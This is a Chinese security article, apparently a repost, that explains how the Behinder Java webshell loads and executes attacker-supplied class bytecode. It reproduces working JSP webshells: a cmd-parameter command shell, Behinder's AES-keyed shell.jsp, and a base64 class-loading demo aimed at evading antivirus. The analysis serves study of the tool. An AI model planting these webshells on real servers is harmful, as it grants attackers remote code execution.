0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

冰蝎Java服務(wù)端解析

jf_vLt34KHi ? 來源:Tide安全團(tuán)隊(duì) ? 作者:Tide安全團(tuán)隊(duì) ? 2022-10-20 14:35 ? 次閱讀

冰蝎 Java服務(wù)端解析

前言

看了一段時(shí)間的webshell免殺,由于其他語言的webshell沒啥基礎(chǔ),只對(duì)jsp的webshell和冰蝎簡(jiǎn)單分析了一下。完成了一個(gè)簡(jiǎn)化版的冰蝎Demo,主要是學(xué)習(xí)原理,分析的有不對(duì)的地方還請(qǐng)師傅們斧正。

冰蝎JSP服務(wù)端解析

在看冰蝎的shell.jsp之前先來回顧下Java最基礎(chǔ)執(zhí)行命令的實(shí)現(xiàn)。Java最常見的是通過Runtime.getRuntime().exec("cmd")來實(shí)現(xiàn)執(zhí)行系統(tǒng)命令的,如下是一個(gè)Demo。 Runtime.getRuntime().exec()實(shí)現(xiàn)命令執(zhí)行及輸出:

importjava.io.BufferedReader;
importjava.io.IOException;
importjava.io.InputStream;
importjava.io.InputStreamReader;

publicclassCMDExecDemo{
publicstaticvoidmain(String[]args)throwsException{
Processprocess=Runtime.getRuntime().exec("ipconfig");
InputStreamprocessInput=process.getInputStream();
InputStreamReaderinputStreamReader=newInputStreamReader(processInput,"GBK");
BufferedReaderbufferedReader=newBufferedReader(inputStreamReader);
StringresLine;
while((resLine=bufferedReader.readLine())!=null){
System.out.println(resLine);
}
inputStreamReader.close();
processInput.close();
}
}
6ceb789e-4ba1-11ed-a3b6-dac502259ad0.png

JSP實(shí)現(xiàn):

<%@page?language="java"?contentType="text/html;?charset=UTF-8"?pageEncoding="UTF-8"??%>
<%@page?import="java.io.*"?%>

<%
String?os?=?System.getProperty("os.name").toLowerCase();
out.print(os);

String?cmd?=?request.getParameter("cmd");
String?line;
if?(cmd?!=?null){
????Process?p?=?Runtime.getRuntime().exec(new?String[]{"cmd.exe","/c",cmd});
????InputStream?ins?=?p.getInputStream();
????InputStreamReader?insr?=?new?InputStreamReader(ins,"GBK");
????BufferedReader?br?=?new?BufferedReader(insr);
????out.print("
");
while((line=br.readLine())!=null){
out.print(line+"
");
}
out.print("
"); ins.close(); insr.close(); br.close(); p.getOutputStream().close(); } %>
6d1a8436-4ba1-11ed-a3b6-dac502259ad0.png

Behinder JSP Webshell不同于一般的一句話木馬,作者通過自定義類加載器調(diào)用ClassLoader類defineClass方法讓服務(wù)端有了動(dòng)態(tài)解析字節(jié)碼的能力,添加注釋后的shell.jsp如下。

<%@?page?contentType="text/html;charset=UTF-8"?language="java"?%>
<%@?page?import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
????//自定義類加載器
????class?U?extends?ClassLoader{
????????U(ClassLoader?c){
????????????super(c);
????????}
????????public?Class?g(byte?[]b)
????????{
????????????//調(diào)用父類defineClass方法
????????????return?super.defineClass(b,0,b.length);
????????}
????}
%>
<%
????if?(request.getMethod().equals("POST")){
????????String?k="e45e329feb5d925b";
????????session.putValue("u",k);
????????Cipher?c=Cipher.getInstance("AES");
????????c.init(2,new?SecretKeySpec(k.getBytes(),"AES"));



????????//獲取客戶端數(shù)據(jù)
//????????String?line?=?request.getReader().readLine();
????????//base64解碼客戶端數(shù)據(jù)
//????????byte[]?b?=?new?sun.misc.BASE64Decoder().decodeBuffer(line);
????????//AES解密
//????????byte[]?b1?=?c.doFinal(b);
????????//調(diào)用父類defineClass方法,將傳入數(shù)據(jù)還原為Class對(duì)象
//????????U?u?=?new?U(this.getClass().getClassLoader());
//????????Class?clazz?=?u.g(b1);
????????//實(shí)例化對(duì)象將輸出寫入pageContext
????????//客戶端傳入的字節(jié)碼指向的類中重寫了equals方法傳入pageContext對(duì)象,通過pageContext對(duì)象
????????//可以間接操作response,將執(zhí)行結(jié)果寫入response返回給客戶端
//????????clazz.newInstance().equals(pageContext);
????????new?U(this.getClass().getClassLoader()).g(c.doFinal(new?sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
????}
%>

關(guān)于自定義類加載器

Java執(zhí)行代碼的過程:程序員編寫的Java代碼通過編譯器編譯成字節(jié)碼文件即.class文件之后交由ClassLoader加載至JVM中被執(zhí)行。 JVM提供了三種類加載器: **Bootstrap classLoader:**主要負(fù)責(zé)加載核心的類庫(java.lang.*等),構(gòu)造ExtClassLoader和APPClassLoader。ExtClassLoader:主要負(fù)責(zé)加載jre/lib/ext目錄下的一些擴(kuò)展的jarAppClassLoader:主要負(fù)責(zé)加載應(yīng)用程序的主函數(shù)類。 雙親委派機(jī)制: 當(dāng)一個(gè)Hello.class這樣的文件要被加載時(shí)。不考慮自定義類加載器,首先會(huì)在AppClassLoader中檢查是否加載過,如果有那就無需再加載了。如果沒有,那么會(huì)拿到父加載器,然后調(diào)用父加載器的loadClass方法。父類中同理也會(huì)先檢查自己是否已經(jīng)加載過,如果沒有再往上。注意這個(gè)類似遞歸的過程,直到到達(dá)Bootstrap classLoader之前,都是在檢查是否加載過,并不會(huì)選擇自己去加載。直到BootstrapClassLoader,已經(jīng)沒有父加載器了,這時(shí)候開始考慮自己是否能加載了,如果自己無法加載,會(huì)下沉到子加載器去加載,一直到最底層,如果沒有任何加載器能加載,就會(huì)拋出ClassNotFoundException。

6d75b716-4ba1-11ed-a3b6-dac502259ad0.png

ClassLoader中的三個(gè)關(guān)鍵方法: ClassLoader.loadClass():雙親委派機(jī)制的代碼實(shí)現(xiàn)。

publicClassloadClass(Stringname)throwsClassNotFoundException{
returnloadClass(name,false);
}

protectedClassloadClass(Stringname,booleanresolve)
throwsClassNotFoundException
{
synchronized(getClassLoadingLock(name)){
//First,checkiftheclasshasalreadybeenloaded
Classc=findLoadedClass(name);
if(c==null){
longt0=System.nanoTime();
try{
if(parent!=null){
c=parent.loadClass(name,false);
}else{
c=findBootstrapClassOrNull(name);
}
}catch(ClassNotFoundExceptione){
//ClassNotFoundExceptionthrownifclassnotfound
//fromthenon-nullparentclassloader
}

if(c==null){
//Ifstillnotfound,theninvokefindClassinorder
//tofindtheclass.
longt1=System.nanoTime();
c=findClass(name);

//thisisthedefiningclassloader;recordthestats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1-t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if(resolve){
resolveClass(c);
}
returnc;
}
}

ClassLoader.defineClass():將byte[]還原為Class對(duì)象。

protectedfinalClassdefineClass(Stringname,byte[]b,intoff,intlen,
ProtectionDomainprotectionDomain)
throwsClassFormatError
{
protectionDomain=preDefineClass(name,protectionDomain);
Stringsource=defineClassSourceLocation(protectionDomain);
Classc=defineClass1(name,b,off,len,protectionDomain,source);
postDefineClass(c,protectionDomain);
returnc;
}

ClassLoader.findClass():供自定義類加載器重寫使用,配合defineClass方法實(shí)現(xiàn)自定義加載字節(jié)碼。

protectedClassfindClass(Stringname)throwsClassNotFoundException{
thrownewClassNotFoundException(name);
}

實(shí)現(xiàn)自定義類加載器的步驟: 1、繼承ClassLoader類 2、重寫findClass方法 3、調(diào)用defineClass方法 Demo如下: hello.java

publicclasshello{
publicvoidprintHello(){
System.out.println("helloworld!");
}
}

customLoader.java

importjava.io.File;
importjava.io.FileInputStream;
importjava.lang.reflect.Method;

publicclasscustomLoaderextendsClassLoader{
privateStringclassPath;

publiccustomLoader(StringclassPath){
this.classPath=classPath;
}


@Override
protectedClassfindClass(Stringname)throwsClassNotFoundException{
byte[]bytes=newbyte[0];
try{
bytes=loadBytes(name);
}catch(Exceptione){
e.printStackTrace();
}
returnsuper.defineClass(bytes,0,bytes.length);
}

privatebyte[]loadBytes(StringclassName)throwsException{
FileInputStreamfileIns=newFileInputStream(classPath+File.separator+className.replace(".",File.separator).concat(".class"));
byte[]b=newbyte[fileIns.available()];
fileIns.read(b);
fileIns.close();
returnb;
}

publicstaticvoidmain(String[]args)throwsException{
customLoadercustomLoader=newcustomLoader("C:\Users\lixq\Desktop\loaderDemo\src\test\java");
ClassaClass=customLoader.loadClass("hello");
Objecto=aClass.newInstance();
Methodm=aClass.getMethod("printHello");
m.invoke(o);
}
}
6dd1f51c-4ba1-11ed-a3b6-dac502259ad0.png

有了以上基礎(chǔ),著手將一開始的CMD Webshell改為自定義類加載器方式執(zhí)行: 相較于傳統(tǒng)自定義類加載器的方式,冰蝎更直接地調(diào)用defineClass方法將編碼后class文件還原為Class對(duì)象,參照冰蝎的方式可以依照如下步驟來實(shí)現(xiàn)CMD Webshell。 1、首先將CMD JSP Webshell編譯為class,然后將class文件base64編碼

6e0b2d32-4ba1-11ed-a3b6-dac502259ad0.pngimage.png

2、通過自定義類加載器將base64后class還原為Class對(duì)象并加載至jvm執(zhí)行。

<%@?page?import="java.util.Base64"?%>
<%@?page?import="java.lang.reflect.Method"?%>
<%@?page?contentType="text/html;charset=UTF-8"?language="java"?%>
<%
????String?cmd?=?request.getParameter("cmd");
????if?(cmd?!=?null){
????????class?U?extends?ClassLoader{
????????????public?Class?g(){
????????????????String?clsStr?=?"yv66vgAAADQAVAoAFgArBwAsCgACACsKAC0ALgcALwgAMAgAMQoALQAyCgAzADQHADUIADYKAAoANwcAOAoADQA5CgANADoKAAIAOwgAPAoAPQA+CgAKAD4KAAIAPwcAQAcAQQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEACkV4Y2VwdGlvbnMHAEIBAAdleGVjQ21kAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAA1TdGFja01hcFRhYmxlBwBABwAvBwAsBwBDBwBEBwA1BwA4AQAKU291cmNlRmlsZQEAFENNRF9SdW50aW1lRGVtby5qYXZhDAAXABgBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcARQwARgBHAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwASABJBwBDDABKAEsBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyAQADR0JLDAAXAEwBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyDAAXAE0MAE4ATwwAUABRAQABCgcARAwAUgAYDABTAE8BAA9DTURfUnVudGltZURlbW8BABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFY2xvc2UBAAh0b1N0cmluZwAhABUAFgAAAAAAAwABABcAGAABABkAAAAdAAEAAQAAAAUqtwABsQAAAAEAGgAAAAYAAQAAAAYACQAbABwAAgAZAAAAGQAAAAEAAAABsQAAAAEAGgAAAAYAAQAAABIAHQAAAAQAAQAeAAEAHwAgAAIAGQAAAM4ABQAIAAAAaLsAAlm3AANNuAAEBr0ABVkDEgZTWQQSB1NZBStTtgAITi22AAk6BLsAClkZBBILtwAMOgW7AA1ZGQW3AA46BhkGtgAPWToHxgASLBkHtgAQEhG2ABBXp//pGQS2ABIZBbYAEyy2ABSwAAAAAgAaAAAAKgAKAAAAFAAIABUAIQAWACcAFwA0ABgAPwAaAEoAHABZAB4AXgAfAGMAIAAhAAAAJAAC/wA/AAcHACIHACMHACQHACUHACYHACcHACgAAPwAGQcAIwAdAAAABAABAB4AAQApAAAAAgAq";
????????????????byte[]?b?=?Base64.getDecoder().decode(clsStr);
????????????????return?super.defineClass(b,0,b.length);
????????????}
????????}
????????U??u?=?new?U();
????????Class?clazz?=?u.g();
????????Object?obj?=?clazz.newInstance();
????????Method?m?=?clazz.getMethod("execCmd",String.class);
????????String?res?=?(String)?m.invoke(obj,cmd);
????????out.print(res);
????}
%>
6e450f2a-4ba1-11ed-a3b6-dac502259ad0.png

總結(jié)

簡(jiǎn)單分析了冰蝎Java服務(wù)端的實(shí)現(xiàn),如果我們將固定的CMD_RuntimeDemo.class Base64編碼后的字符串改為傳遞參數(shù)傳遞給服務(wù)端,那么服務(wù)端就可以解析我們傳遞的class字節(jié)碼從而在服務(wù)端執(zhí)行任意java代碼,而這正是冰蝎客戶端的核心思路。

審核編輯:湯梓紅

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • JAVA
    +關(guān)注

    關(guān)注

    19

    文章

    2946

    瀏覽量

    104372
  • JSP
    JSP
    +關(guān)注

    關(guān)注

    0

    文章

    26

    瀏覽量

    10357
  • 服務(wù)端
    +關(guān)注

    關(guān)注

    0

    文章

    66

    瀏覽量

    6959

原文標(biāo)題:參考

文章出處:【微信號(hào):Tide安全團(tuán)隊(duì),微信公眾號(hào):Tide安全團(tuán)隊(duì)】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏

    評(píng)論

    相關(guān)推薦

    TCP服務(wù)端測(cè)試工具

    本帖最后由 小子個(gè) 于 2024-3-20 22:58 編輯 該TCP服務(wù)端工具可以理解為 “TCP服務(wù)端” 或者 “服務(wù)器” ,目的是幫助大家在沒有服務(wù)器的情況下,完成客戶
    發(fā)表于 06-29 09:22

    ?PLC從HTTP服務(wù)端獲取JSON文件,解析數(shù)據(jù)到寄存器

    文件提交給HTTP的服務(wù)端; 服務(wù)端有返回的JSON,或者GET命令獲取到的JSON,網(wǎng)關(guān)進(jìn)行解析后將數(shù)據(jù)寫入到PLC寄存器。 本文主要描述通過GET命令獲取數(shù)據(jù),解析到西門子PLC的
    發(fā)表于 01-24 09:47

    TCP服務(wù)端的實(shí)現(xiàn)

    Swoole TCP服務(wù)端與客戶 持續(xù)更新
    發(fā)表于 09-26 16:04

    TCP通信時(shí)服務(wù)端如何接收客戶的數(shù)據(jù)?

    畢設(shè)采用的是TCP協(xié)議,組員做的是下位機(jī),C編程,WiFi模塊工作處于客戶。我負(fù)責(zé)上位機(jī),Labview使用tcp協(xié)議時(shí)服務(wù)端怎么接收客戶的數(shù)據(jù)呢? 我找到的例程都是服務(wù)端發(fā)、客戶
    發(fā)表于 04-14 14:49

    Delphi教程之建立類型庫編輯DataSnap服務(wù)端

    Delphi教程之建立類型庫編輯DataSnap服務(wù)端,很好的Delphi資料,快來下載吧。
    發(fā)表于 04-11 15:59 ?2次下載

    Delphi教程之建立基本MTS服務(wù)端

    Delphi教程之建立基本MTS服務(wù)端,很好的Delphi資料,快來下載吧。
    發(fā)表于 04-11 15:59 ?3次下載

    Android 仿QQ客戶服務(wù)端源碼

    Android 仿QQ客戶服務(wù)端源碼
    發(fā)表于 03-19 11:23 ?3次下載

    SSRF服務(wù)端請(qǐng)求偽造攻擊

    SSRF服務(wù)端請(qǐng)求偽造攻擊
    發(fā)表于 09-07 14:07 ?6次下載
    SSRF<b class='flag-5'>服務(wù)端</b>請(qǐng)求偽造攻擊

    MQTT中服務(wù)端和客戶

    MQTT 是一種基于客戶-服務(wù)端架構(gòu)(C/S)的消息傳輸協(xié)議,所以在 MQTT 協(xié)議通信中,有兩個(gè)最為重要的角色,它們便是服務(wù)端和客戶。 1)
    的頭像 發(fā)表于 07-30 14:55 ?2416次閱讀

    服務(wù)端如何控制客戶之間的信息通訊

    服務(wù)端如何通過“主題”來控制客戶之間的信息通訊,看下圖實(shí)例: 在以上圖示中一共有三個(gè) MQTT 客戶,它們分別是開發(fā)板、手機(jī)和電腦。MQTT 服務(wù)端在管理 MQTT通信時(shí)使用了“主
    的頭像 發(fā)表于 07-30 15:10 ?741次閱讀
    <b class='flag-5'>服務(wù)端</b>如何控制客戶<b class='flag-5'>端</b>之間的信息通訊

    Java SpringBoot項(xiàng)目:Node服務(wù)端搭建

    玩歸玩,鬧歸鬧,別拿 C 開玩笑!這里不推薦大家把 Node 服務(wù)作為 C 服務(wù),畢竟它是單線程多任務(wù) 機(jī)制。這一特性是 Javascript 語言設(shè)計(jì)之初,就決定了它的使命 -
    的頭像 發(fā)表于 11-02 14:56 ?942次閱讀
    <b class='flag-5'>Java</b> SpringBoot項(xiàng)目:Node<b class='flag-5'>服務(wù)端</b>搭建

    服務(wù)端的測(cè)試主要是測(cè)什么內(nèi)容

    服務(wù)端測(cè)試是軟件開發(fā)過程中的一個(gè)重要環(huán)節(jié),主要目的是確保服務(wù)端程序的穩(wěn)定性、性能、安全性和可靠性。 功能測(cè)試 功能測(cè)試是服務(wù)端測(cè)試的基礎(chǔ),主要驗(yàn)證服務(wù)端程序是否按照需求實(shí)現(xiàn)了所有功能。
    的頭像 發(fā)表于 05-30 15:24 ?3113次閱讀

    服務(wù)端測(cè)試和客戶測(cè)試區(qū)別在哪

    服務(wù)端測(cè)試和客戶測(cè)試是軟件開發(fā)過程中的兩個(gè)重要環(huán)節(jié),它們分別針對(duì)服務(wù)器端和客戶的軟件進(jìn)行測(cè)試。本文將詳細(xì)介紹服務(wù)端測(cè)試和客戶
    的頭像 發(fā)表于 05-30 15:27 ?2137次閱讀

    服務(wù)端測(cè)試是web測(cè)試嗎為什么

    服務(wù)端測(cè)試和Web測(cè)試是兩個(gè)不同的概念,但它們?cè)谲浖_發(fā)和測(cè)試過程中是相互關(guān)聯(lián)的。本文將詳細(xì)解釋這兩個(gè)概念以及它們之間的關(guān)系。 服務(wù)端測(cè)試 服務(wù)端測(cè)試主要關(guān)注服務(wù)器端的軟件組件,這些組
    的頭像 發(fā)表于 05-30 15:30 ?499次閱讀

    服務(wù)端測(cè)試包括什么類型

    服務(wù)端測(cè)試是確保軟件系統(tǒng)在服務(wù)器端正常運(yùn)行和滿足性能要求的重要環(huán)節(jié)。本文將詳細(xì)介紹服務(wù)端測(cè)試的類型、方法和最佳實(shí)踐。 1. 服務(wù)端測(cè)試的定義 服務(wù)端
    的頭像 發(fā)表于 05-30 16:03 ?519次閱讀